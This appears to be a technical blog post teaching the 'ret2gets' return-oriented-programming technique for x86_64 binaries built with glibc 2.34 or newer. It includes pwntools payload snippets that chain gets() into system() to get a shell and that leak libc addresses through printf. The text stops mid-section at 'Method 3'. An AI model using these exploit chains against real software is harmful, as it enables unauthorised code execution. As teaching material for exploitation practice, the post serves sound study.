Who Needs POP RDI? You Have gets()
Facing a gadget-poor binary? This post reveals how gets() can be your ultimate ROP primitive. By understanding how gets() reuses the existing RDI value from the vulnerable buffer, we can craft precise chains that set up function arguments and leak libc addresses without traditional gadgets.
Many ROP exploits involves finding a pop rdi; ret
gadget. Since rdi
is used to pass the first argument to functions in the x86_64
calling convention, this gadget is crucial for setting up calls to functions.
In binaries compiled with modern glibc (2.34 and newer)
, this and other useful gadgets are often missing.
Source of the gadget
- The gadget was commonly found in the
__libc_csu_init
function, which used to be included in most dynamically linked binaries. - The disassembly of
__libc_csu_init
contains the instruction sequencepop r15; ret
. The machine code for this is41 5f c3
. The last two bytes5f c3
of that sequence happen to be the exact machine code forpop rdi ; ret
, therefore if a attacker as the address ofpop r15; ret
, they could add one byte to that address to getpop rdi; ret
Why it disappeared. A patch in glibc 2.34
was introduced to remove useful ROP gadgets for the ret2csu
exploit technique, which had the side effect of no longer compiling the __libc_csu_init
function into binaries.
To overcome the lack of pop rdi; ret
gadget a technique known as ret2gets
can be used.
This techniques leverages the behaviour of the gets()
function to control the rdi
register and even leak the base address of libc.
When gets()
finishes reading from stdin
, it often leaves the address of a writable libc structure, _IO_stdfile_0_lock
, in the rdi
register before it returns. This behaviour is because of the thread-safe locking mechanism used by glibc’s I/O functions.
_IO_stdfile_0_lock
structure.
1
2
3
4
5
typedef struct {
int lock;
int cnt;
void *owner;
} _IO_lock_t;
To prevent race conditions in multi-threaded programs, I/O functions like gets()
must “lock” the file stream they are using. gets()
calls _IO_acquire_lock
at the beginning and _IO_release_lock
at the end. The release macro calls _IO_lock_unlock
, and this function loads the address of the lock structure for stdin
(which is _IO_stdfile_0_lock
) into the rdi
register just before returning, this is done to prepare for a potential call to an underlying system function that expects its argument in rdi
. When gets()
returns, rdi
points to _IO_stdfile_0_lock
, a writable location in libc’s memory.
How to exploit this.
Writing to rdi
Since gets()
leaves a pointer to a writable memory in rdi
, we can use a second call to gets()
to write data to that location.
The attack goes as follows:
- First
gets()
:- The first
gets()
is called, whether called in binary or in yourROP chain
. After this call returns,rdi
will contain the address of_IO_stdfile_0_lock
- The first
- Second
gets()
:- Call
gets()
again (gets@plt
). This time when gets executes, it will read input from you and write it to the address currently inrdi
(_IO_stdfile_0_lock
).
- Call
- Payload:
- Send the string you want to populate
rdi
. e.g./bin/sh
- Send the string you want to populate
- Call the function:
In ROP chain
follow the secondgets@plt
with a call to the function you want to execute (e.g.system
when system is called rdi
will still point to the_IO_stdfile_0_lock
) .
Example
1
2
3
4
5
6
7
8
9
10
11
payload = flat(
gets_plt,
gets_plt,
system_plt
)
#
binsh = b"/bin" + p8(u8(b"/")+1) + b"sh"
p.sendline(payload)
p.sendline(binsh)
p.interactive()
# get shell
Note: The
_IO_stdfile_0_lock
structure contains a counter field namedcnt
. The unlock function decrements this counter, and if it becomes zero, it may ruin you payload. To avoid this, you must overwritecnt
with a value other than 1 as part of your string that is placed in_IO_stdfile_0_lock
.
Leaking the Libc base address
The _IO_stdfile_0_lock
structure also contains the field named owner
, which points to the Thread Local Storage (TLS
) for the current thread. The TLS
address has a predictable offset from the libc base address, so leaking the owner pointer allows you to calculate the base address of libc.
Method 1
If the binary called printf
function we can use that to leak addresses and find libc base address (format string vulnerabiliity
)
Example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = flat(
cyclic(padding_to_ret),
elf.plt['gets'],
elf.plt['printf'],
elf.sym['main']
)
p.sendline(payload)
fmt_str = "%p"*3 # "%3%p"
p.sendline(fmt_str)
leaked_bytes = p.recv()
leaked_addr = int(leaked_bytes, 16)
lib.address = leaked_addr - offset # where offset
Method 2
This works for glibc 2.30 - 2.36
- First
gets()
: - Send a payload that sets the
cnt
field to 0 - When the unlock function runs, it first decrements
cnt
, which undeflows from 0 to 0xffffffff, then the check to see ifcnt
is zero fails. - Because the check fails, the owner field is not cleared, and the null byte from
gets()
is written after theTLS
pointer allowing a call toputs()
/printf
to leak the address.Method 3
glibc 2.37+
- First gets():